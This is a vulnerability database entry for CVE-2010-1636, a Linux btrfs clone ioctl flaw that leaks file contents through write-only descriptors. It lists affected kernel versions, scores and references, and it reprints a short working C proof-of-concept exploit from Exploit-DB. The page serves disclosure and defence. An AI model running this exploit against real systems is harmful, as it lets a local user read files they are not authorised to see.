CVE-2010-1636 : Detail

CVE-2010-1636

A01-Broken Access Control
0.11%V4
Local
2010-06-07
20h00 +00:00
2010-06-07
20h00 +00:00
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CVE Descriptions

The btrfs_ioctl_clone function in fs/btrfs/ioctl.c in the btrfs functionality in the Linux kernel 2.6.29 through 2.6.32, and possibly other versions, does not ensure that a cloned file descriptor has been opened for reading, which allows local users to read sensitive information from a write-only file descriptor.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 34001

Publication date : 2010-05-17 22h00 +00:00
Author : Dan Rosenberg
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/40241/info The Linux Kernel is prone to a security-bypass vulnerability that affects the Btrfs filesystem implementation. An attacker can exploit this issue to clone a file only open for writing. This may allow attackers to obtain sensitive data or launch further attacks. */ #include <fcntl.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #define BTRFS_IOC_CLONE _IOW(0x94, 9, int) int main(int argc, char * argv[]) { if(argc < 3) { printf("Usage: %s [target] [output]\n", argv[0]); exit(-1); } int output = open(argv[2], O_WRONLY | O_CREAT, 0644); /* Note - opened for writing, not reading */ int target = open(argv[1], O_WRONLY); ioctl(output, BTRFS_IOC_CLONE, target); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.6.29

Linux>>Linux_kernel >> Version 2.6.29.1

Linux>>Linux_kernel >> Version 2.6.29.2

Linux>>Linux_kernel >> Version 2.6.29.3

Linux>>Linux_kernel >> Version 2.6.29.4

Linux>>Linux_kernel >> Version 2.6.29.5

Linux>>Linux_kernel >> Version 2.6.29.6

Linux>>Linux_kernel >> Version 2.6.30

Linux>>Linux_kernel >> Version 2.6.30.1

Linux>>Linux_kernel >> Version 2.6.30.2

Linux>>Linux_kernel >> Version 2.6.30.3

Linux>>Linux_kernel >> Version 2.6.30.4

Linux>>Linux_kernel >> Version 2.6.30.5

Linux>>Linux_kernel >> Version 2.6.30.6

Linux>>Linux_kernel >> Version 2.6.30.7

Linux>>Linux_kernel >> Version 2.6.30.8

Linux>>Linux_kernel >> Version 2.6.30.9

Linux>>Linux_kernel >> Version 2.6.30.10

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31.1

Linux>>Linux_kernel >> Version 2.6.31.2

Linux>>Linux_kernel >> Version 2.6.31.3

Linux>>Linux_kernel >> Version 2.6.31.4

Linux>>Linux_kernel >> Version 2.6.31.5

Linux>>Linux_kernel >> Version 2.6.31.6

Linux>>Linux_kernel >> Version 2.6.31.7

Linux>>Linux_kernel >> Version 2.6.31.8

Linux>>Linux_kernel >> Version 2.6.31.9

Linux>>Linux_kernel >> Version 2.6.31.10

Linux>>Linux_kernel >> Version 2.6.31.11

Linux>>Linux_kernel >> Version 2.6.31.12

Linux>>Linux_kernel >> Version 2.6.31.13

Linux>>Linux_kernel >> Version 2.6.32

References

http://www.openwall.com/lists/oss-security/2010/05/18/10
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2010/05/18/2
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2010/05/25/8
Tags : mailing-list, x_refsource_MLIST